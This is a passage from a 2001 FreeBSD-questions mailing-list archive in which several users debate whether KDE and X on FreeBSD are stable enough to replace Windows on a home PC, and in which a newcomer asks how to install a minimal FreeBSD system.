Brown , Chip , questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120024747.A92560@xor.obsecurity.org> References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="AhhlLboLdkugWU4S" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <00df01c171b0$2a938be0$0a00000a@atkielski.com>; from anthony@atkielski.com on Tue, Nov 20, 2001 at 11:43:11AM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --AhhlLboLdkugWU4S Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Nov 20, 2001 at 11:43:11AM +0100, Anthony Atkielski wrote: > Kris writes: >=20 > > This isn't a fair statement; there are many > > many stable window managers on FreeBSD. Even > > though KDE and GNOME (allegedly) aren't stable, > > there are lots of remaining alternatives before > > you have to resort to the "native, command=3D > > line mode". >=20 > Which alternatives provide both the stability of the native CLI mode (whi= ch is, > after all, a major selling point for FreeBSD) and the functional and ergo= nomic > equivalent of Microsoft Windows? I don't know what you mean by "functional and ergonomic equivalent of Microsoft Windows". Kris --AhhlLboLdkugWU4S Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7+jTSWry0BWjoQKURAiszAJ9HNgmfMM6lAN+D/hOVQ/tnYWtJwACfQwii 0zaS1jrdRcUcThMxPpaFStE= =W4fG -----END PGP SIGNATURE----- --AhhlLboLdkugWU4S-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 2:56:59 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [206.29.169.15]) by hub.freebsd.org (Postfix) with ESMTP id E433337B418 for ; Tue, 20 Nov 2001 02:56:54 -0800 (PST) Received: from tedm.placo.com (nat-rtr.freebsd-corp-net-guide.com [206.29.168.154]) by mail.freebsd-corp-net-guide.com (8.11.1/8.11.1) with SMTP id fAKAu8R20079; Tue, 20 Nov 2001 02:56:08 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Anthony Atkielski" , , "Chip" Cc: Subject: RE: home pc use Date: Tue, 20 Nov 2001 02:56:08 -0800 Message-ID: <006901c171b1$f549f760$1401a8c0@tedm.placo.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: <00cd01c171ac$ca0fa0e0$0a00000a@atkielski.com> X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >-----Original Message----- >From: owner-freebsd-questions@FreeBSD.ORG >[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Anthony >Atkielski >Sent: Tuesday, November 20, 2001 2:19 AM >To: RoKlein@roklein.de; Chip >Cc: questions@FreeBSD.ORG >Subject: Re: home pc use > > >Robert writes: > >> Perhaps this was due to your buggy VIA >> Southbridge, mentioned in another >> thread, IIRC? > >That same "buggy" hardware runs Windows flawlessly. > >> Though KDE crashing possibly indicates a faulty >> memory module / memory timing problems... > >The most likely cause is poorly written code. > This is absolutely not true. If the Xserver is properly written you cannot lock up or crash your system with KDE or any other buggy window manager. Sure you can cause the window manager to dump core or whatever, but those processes don't have the rights into the hardware to lock it up. However, with a buggy Xserver you can lock up your system with even a perfect X program. Even an Xserver that isn't necessairly buggy but instead gets something back that's unexpected from the video card chipset can do this. (because maybe the OEM modified the video chipset slightly) It's not the best thing from a stability standpoint to run the Xserver on the same system that you want to run the X clients on. Due to the nature of PC video hardware, to get any kind of decent speed the X server must be written to have direct access to the video hardware. This is a violation of the idea in UNIX that only the OS has the privilige to tamper with the hardware. Thank you IBM and your crappy video BIOS routines that caused the situation. Ted Mittelstaedt tedm@toybox.placo.com Author of: The FreeBSD Corporate Networker's Guide Book website: http://www.freebsd-corp-net-guide.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 2:59:30 2001 Delivered-To: freebsd-questions@freebsd.org Received: from relay3-gui.server.ntli.net (relay3-gui.server.ntli.net [194.168.4.200]) by hub.freebsd.org (Postfix) with ESMTP id 5B95737B416 for ; Tue, 20 Nov 2001 02:59:28 -0800 (PST) Received: from pc3-card3-0-cust122.cdf.cable.ntl.com ([62.254.251.122] helo=rhadamanth.private.submonkey.net ident=exim) by relay3-gui.server.ntli.net with esmtp (Exim 3.03 #2) id 1668cf-0006se-00; Tue, 20 Nov 2001 10:59:25 +0000 Received: from setantae by rhadamanth.private.submonkey.net with local (Exim 3.33 #1) id 1668a2-000Jm0-00; Tue, 20 Nov 2001 10:56:42 +0000 Date: Tue, 20 Nov 2001 10:56:42 +0000 From: setantae To: Anthony Atkielski Cc: questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120105642.GA75918@rhadamanth> References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <00df01c171b0$2a938be0$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 11:43:11AM +0100, Anthony Atkielski wrote: > Kris writes: > > > This isn't a fair statement; there are many > > many stable window managers on FreeBSD. Even > > though KDE and GNOME (allegedly) aren't stable, > > there are lots of remaining alternatives before > > you have to resort to the "native, command= > > line mode". > > Which alternatives provide both the stability of the native CLI mode (which is, > after all, a major selling point for FreeBSD) and the functional and ergonomic > equivalent of Microsoft Windows? Well, I was hoping to stay away from advocacy, but since you asked for an example : blackbox. For one. Ceri -- keep a mild groove on To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 3: 0:55 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tomts16-srv.bellnexxia.net (tomts16.bellnexxia.net [209.226.175.4]) by hub.freebsd.org (Postfix) with ESMTP id A9E6F37B416 for ; Tue, 20 Nov 2001 03:00:51 -0800 (PST) Received: from prayforwind.com ([199.243.128.11]) by tomts16-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP id <20011120110045.KEOG11528.tomts16-srv.bellnexxia.net@prayforwind.com> for ; Tue, 20 Nov 2001 06:00:45 -0500 Received: (from gtabug@localhost) by prayforwind.com (8.11.6/8.11.6) id fAKBARR02800 for questions@freebsd.org; Tue, 20 Nov 2001 06:10:28 -0500 (EST) (envelope-from gtabug) Date: Tue, 20 Nov 2001 06:10:26 -0500 From: Steve Brown To: questions@freebsd.org Subject: Re: home pc use Message-ID: <20011120061026.A2767@prayforwind.com> References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <009a01c171a9$4eedbee0$0a00000a@atkielski.com>; from anthony@atkielski.com on Tue, Nov 20, 2001 at 10:54:05AM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I've not seen FreeBSD just crash without explanation ever in a year of use. I have seen netscape whack X twice, just type startx again. I found KDE stable but too big on this 300m PII, 4G partition amd now I use XFCE or TWM. It -is- less intuitive than Windows for sure; you'd better be interested in learning something about O/S and computers or you may be disappointed. Actually I'm one of those who tried it 'cause I wanted a choice other thane Microsoft (Had the 1'st incarnation of Win98 at the time and I grew sick of fdisk/formatting on a weekly basis) Cheers, Steve On Tue, Nov 20, 2001 at 10:54:05AM +0100, Anthony Atkielski wrote: > Steve writes: > > > If you're tired of Windows crashing you sure can! > > The KDE environment under FreeBSD stalled or crashed on me nearly half a dozen > times in one day. That's about as many crashes as I've experienced in two years > on Windows NT, and all of the Windows NT crashes were due to bad drivers. > > Unless he intends to run FreeBSD in its native, command-line mode, he should not > expect an increase in stability over Microsoft Windows, and he may experience > the opposite. > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 3: 9:31 2001 Delivered-To: freebsd-questions@freebsd.org Received: from relay3-gui.server.ntli.net (relay3-gui.server.ntli.net [194.168.4.200]) by hub.freebsd.org (Postfix) with ESMTP id 24B9737B416 for ; Tue, 20 Nov 2001 03:09:28 -0800 (PST) Received: from pc3-card3-0-cust122.cdf.cable.ntl.com ([62.254.251.122] helo=rhadamanth.private.submonkey.net ident=exim) by relay3-gui.server.ntli.net with esmtp (Exim 3.03 #2) id 1668mL-00075N-00; Tue, 20 Nov 2001 11:09:25 +0000 Received: from setantae by rhadamanth.private.submonkey.net with local (Exim 3.33 #1) id 1668id-000Jmk-00; Tue, 20 Nov 2001 11:05:35 +0000 Date: Tue, 20 Nov 2001 11:05:35 +0000 From: setantae To: Anthony Atkielski Cc: questions@freebsd.org Subject: Re: home pc use Message-ID: <20011120110535.GB75918@rhadamanth> References: <3BF9B12B.3D521A4D@nycap.rr.com> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <00cd01c171ac$ca0fa0e0$0a00000a@atkielski.com> <20011120102625.GB75402@rhadamanth> <00d201c171af$61dccb80$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <00d201c171af$61dccb80$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 11:37:35AM +0100, Anthony Atkielski wrote: > Ceri writes: > > > Running back up the thread, I can only imagine that you mean > > ``they all crash''. > > No, I mean that they are all overcomplicated and bloated, compared to non-GUI > systems. There is no such thing as a simple GUI with Windows-equivalent > functionality. And complex GUIs have more of a tendency to crash; occasionally > they make take the OS with them, depending on their design and the design of the > OS. > > > That's simply not true. > > It's absolutely true. No it's not. I've been using my current window manager for 2 years on a variety of different hardware and operating systems, and it has never crashed. Granted, that doesn't imply that it never will, but it will be a new experience if it happens in the future. In fact, no window manager I've ever used has ever crashed, with the notable exceptions of explorer.exe and progman.exe. Ceri -- keep a mild groove on To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 3:22:15 2001 Delivered-To: freebsd-questions@freebsd.org Received: from noname.csdl.lt (noname.csdl.lt [194.176.40.182]) by hub.freebsd.org (Postfix) with SMTP id E117437B416 for ; Tue, 20 Nov 2001 03:22:11 -0800 (PST) Received: (qmail 340 invoked by uid 1000); 20 Nov 2001 11:22:09 -0000 Date: Tue, 20 Nov 2001 13:22:09 +0200 From: Paulius Bulotas To: freebsd-questions@freebsd.org Subject: installing minimal freebsd Message-ID: <20011120112209.GA98619@noname> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, I'm quite new to FreeBSD, and want to ask, is there any way to install only components which I really need (for example, no sendmail, no named, no kerberos and so on)? And whats the idea of having openssl port, if there is openssl in main distribution (which is hardly to be left uninstalled, because all ports which depend on openssl, require one from base system, not from ports?) Regards, Paulius To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 3:22:50 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id DC30137B405 for ; Tue, 20 Nov 2001 03:22:46 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKBMht92281; Tue, 20 Nov 2001 12:22:43 +0100 (CET) Message-ID: <012001c171b5$ac8d86a0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Kris Kennaway" Cc: "setantae" , References: <3BF9B12B.3D521A4D@nycap.rr.com> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <00cd01c171ac$ca0fa0e0$0a00000a@atkielski.com> <20011120102625.GB75402@rhadamanth> <00d201c171af$61dccb80$0a00000a@atkielski.com> <20011120024643.B92409@xor.obsecurity.org> Subject: Re: home pc use Date: Tue, 20 Nov 2001 12:22:37 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Kris writes: > This is a tautological statement ("code which > needs to do more complicated things is more > complicated and larger"). It is indeed, and yet many people still manage to ignore the reality of it. There is a (religious) belief among many that their preferred OS will somehow be able to maintain a complex GUI environment without any of the complexity of code or potential instability that goes with it. Obviously, this cannot be, and yet they continue to believe it. Linux users seem to be the worst-afflicted in this respect, with their irrational belief that somehow they will match the functionality and comprehensiveness of Windows using an open-source, cobbled solution and somehow make it _more_ stable than the commercial product. However, I've seen the same attitude on these FreeBSD lists. My impression is that many FreeBSD users are rabid Microsoft-haters who are more interested in duplicating Windows without any Microsoft code than in using FreeBSD in the applications where it performs best ... namely, multiuser server and network applications. But all flavors of UNIX are _very_ poorly suited to desktop GUI environments, and it makes no logical sense to try to replace a purpose-built OS like Windows with a completely different OS having a completely different purpose; it can only be motivated by an irrational desire to "teach someone a lesson" (such as Microsoft). Similarly, and in the interest of equal time, I should point out that anyone trying to configure NT/2000 to match UNIX for certain server and network applications is spitting into the wind ... it's an uphill and potentially losing battle. While NT/2000 can be made to work in this way (the underlying kernel is certainly capable of it, largely because its design so much resembles that of UNIX and other multiuser timesharing systems), it requires a lot more resources to accomplish it, and the ergonomy is lacking. But NT/2000 religious devotees are just as dogged in their attempts to fit a square peg into a round hole as are the followers of UNIX variants. > This is an overgeneralization; under FreeBSD > it's very rare for a window manager bug to > "take out the OS". Even if the X server crashes > the system still runs. You'd think so. But it worried me tremendously that, while simply trying to change a font in KDE, the entire system crashed. It should not be possible for an application like a windows manager to crash the kernel. The fact that this was possible worries me because it casts a shadow on the security of the kernel--how could a user application manage to crash the system like that? I console myself by speculating that perhaps the window manager called some kernel function or driver that faulted because of a configuration problem or (most likely) an incompatibility with the display hardware. Still not very useful from a practical standpoint, but at least it would not make the OS look as insecure. > In real terms, well-written and well-tested simple > window managers rarely have catastrophic bugs. Well, KDE is apparently neither simple nor well-written and well-tested, because it crashed the system; and when it didn't crash the system, it froze or did other weird things a lot. > I can't remember the last time I had problems > with windowmaker, for example. I'm not familiar with it. The KDE experience has soured me on window managers for UNIX for the moment. I do just about everything from a command line right now, anyway--I even surf with Lynx--so trying to clone Windows is not a high priority. Unlike many people here, it seems, I see FreeBSD as an excellent server OS, and that's how I use it. My desktop environment remains Windows NT (and in fact most of my interaction with FreeBSD is via NT, as you'd expect in a server/client environment). To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 3:24:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id B97B637B417 for ; Tue, 20 Nov 2001 03:24:08 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKBO4a92393; Tue, 20 Nov 2001 12:24:04 +0100 (CET) Message-ID: <012501c171b5$dcd9b900$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Kris Kennaway" Cc: "Kris Kennaway" , "Steve Brown" , "Chip" , References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120024747.A92560@xor.obsecurity.org> Subject: Re: home pc use Date: Tue, 20 Nov 2001 12:23:46 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Kris writes: > I don't know what you mean by "functional and > ergonomic equivalent of Microsoft Windows". I mean something that does everything that Microsoft Windows does, with the same ease of use. Both of these are requirements for any environment advocated as an alternative to Microsoft Windows for the average, non-geek user. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 3:25:14 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kitkat.hotpop.com (kitkat.hotpop.com [204.57.55.30]) by hub.freebsd.org (Postfix) with ESMTP id 98B0A37B417 for ; Tue, 20 Nov 2001 03:25:09 -0800 (PST) Received: from hotpop.com (unknown [204.57.55.31]) by kitkat.hotpop.com (Postfix) with SMTP id 10A3731288 for ; Tue, 20 Nov 2001 11:23:27 +0000 (UTC) Received: from pavilion (mcns176.docsis66.singa.pore.net [202.156.66.176]) by zagnut.hotpop.com (Postfix) with SMTP id 7298E50021 for ; Tue, 20 Nov 2001 11:23:25 +0000 (UTC) Message-ID: <000801c171b5$c1f39570$b0429cca@pavilion> From: "pingcrisis.com\\Ting Ping\\" To: Subject: Security Question. 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http://www.pingcrisis.com ------=_NextPart_000_0005_01C171F8.CEC3A180-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 3:28:53 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 4649137B417 for ; Tue, 20 Nov 2001 03:28:50 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKBSjS92695; Tue, 20 Nov 2001 12:28:45 +0100 (CET) Message-ID: <012801c171b6$845a9500$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Ted Mittelstaedt" , , "Chip" Cc: References: <006901c171b1$f549f760$1401a8c0@tedm.placo.com> Subject: Re: home pc use Date: Tue, 20 Nov 2001 12:28:39 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ted writes: > If the Xserver is properly written you cannot lock > up or crash your system with KDE or any other buggy > window manager. I am reassured. I assume that XFree86 is the X Server in this case? At least I recall installing that before I installed KDE. My own guess is that the environment exposed a bug in a video driver or something (I'm using a generic driver with a GeForce video card, although I'm just using a relatively vanilla 1024x768 video mode). A bug in a driver could obviously crash the OS, since drivers must be trusted. > Sure you can cause the window manager to dump core > or whatever ... KDE takes a core dump every time I log out of it. Not very reassuring. > Even an Xserver that isn't necessairly buggy but > instead gets something back that's unexpected from > the video card chipset can do this. That would make sense in my case. Of course, it still makes the GUI environment that caused it too unstable to use. > It's not the best thing from a stability standpoint > to run the Xserver on the same system that you want > to run the X clients on. But isn't that exactly what most people are doing, when they try to use FreeBSD as a replacement for Windows? I wouldn't mind running the server on my Windows machine, but no X Server for Windows seems to cost less than $250-$500 dollars. In fact, I'd actually prefer to run the server on my Windows machine, as I treat FreeBSD as a server machine, not a separate desktop. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 3:29:20 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 6A9C837B405 for ; Tue, 20 Nov 2001 03:29:18 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKBTGI92733; Tue, 20 Nov 2001 12:29:16 +0100 (CET) Message-ID: <012d01c171b6$96b5adc0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "setantae" Cc: References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120105642.GA75918@rhadamanth> Subject: Re: home pc use Date: Tue, 20 Nov 2001 12:29:10 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ceri writes: > Well, I was hoping to stay away from advocacy, but > since you asked for an example : blackbox. For one. What is blackbox? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 3:33:16 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 07DCB37B405 for ; Tue, 20 Nov 2001 03:33:14 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKBXBo93007; Tue, 20 Nov 2001 12:33:11 +0100 (CET) Message-ID: <013201c171b7$22d78cb0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Steve Brown" , References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120061026.A2767@prayforwind.com> Subject: Re: home pc use Date: Tue, 20 Nov 2001 12:33:05 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Steve writes: > I've not seen FreeBSD just crash without explanation > ever in a year of use. Given the design of UNIX, I was extremely surprised to see the system crash with KDE. As I've said elsewhere, my best guess right now is that a bug in a video driver took the system down. I hope and assume that KDE or even XFree is not trying to bypass UNIX to perform privileged operations. > I have seen netscape whack X twice, just type > startx again. Yes, and if Windows crashes, just wait for it to reboot! > It -is- less intuitive than Windows for sure; you'd > better be interested in learning something about O/S > and computers or you may be disappointed. Agreed. That's why it is not a realistic alternative to Windows, except perhaps for geeks who like to learn about such things (as opposed to just using the computer as a tool). > Actually I'm one of those who tried it 'cause I > wanted a choice other thane Microsoft (Had the 1'st > incarnation of Win98 at the time and I grew sick > of fdisk/formatting on a weekly basis) And do you really think it is a realistic alternative? You should have tried Windows NT/2000 instead; it's a completely different OS, despite appearances, and it is rock stable. Unfortunately, it also costs several hundred dollars ... and if you need _server_ functionality (as opposed to a desktop), it offers no major advantages over FreeBSD, and a number of disadvantages. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 3:34: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 457EF37B405 for ; Tue, 20 Nov 2001 03:34:03 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKBY1393095; Tue, 20 Nov 2001 12:34:01 +0100 (CET) Message-ID: <013901c171b7$407ea500$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "setantae" Cc: References: <3BF9B12B.3D521A4D@nycap.rr.com> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <00cd01c171ac$ca0fa0e0$0a00000a@atkielski.com> <20011120102625.GB75402@rhadamanth> <00d201c171af$61dccb80$0a00000a@atkielski.com> <20011120110535.GB75918@rhadamanth> Subject: Re: home pc use Date: Tue, 20 Nov 2001 12:33:55 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ceri writes: > In fact, no window manager I've ever used has > ever crashed, with the notable exceptions of > explorer.exe and progman.exe. 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http://www.pingcrisis.com ------=_NextPart_000_000E_01C171FA.C7091B30-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 3:37:59 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 401FC37B41D for ; Tue, 20 Nov 2001 03:37:53 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKBbjL93367; Tue, 20 Nov 2001 12:37:46 +0100 (CET) Message-ID: <013e01c171b7$c66339b0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Paulius Bulotas" , References: <20011120112209.GA98619@noname> Subject: Re: installing minimal freebsd Date: Tue, 20 Nov 2001 12:37:39 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I installed FreeBSD as whatever the default was supposed to be, and the only things it set up were moused (because I have a mouse, I suppose), httpd, indetd, syslogd, sendmail, cron, telnetd, and usbd (because there is a USB interface on the machine, I presume), as I recall. All of the processes put together use less than 0.3% of the machine. Compared to the incredible truckload of junk that any Windows installation starts up (especially NT/2000 installations), this was quite a breath of fresh air. ----- Original Message ----- From: "Paulius Bulotas" To: Sent: Tuesday, November 20, 2001 12:22 Subject: installing minimal freebsd > Hello, > > I'm quite new to FreeBSD, and want to ask, is there any way to install only components which I really need (for example, no sendmail, no named, no kerberos and so on)? > And whats the idea of having openssl port, if there is openssl in main distribution (which is hardly to be left uninstalled, because all 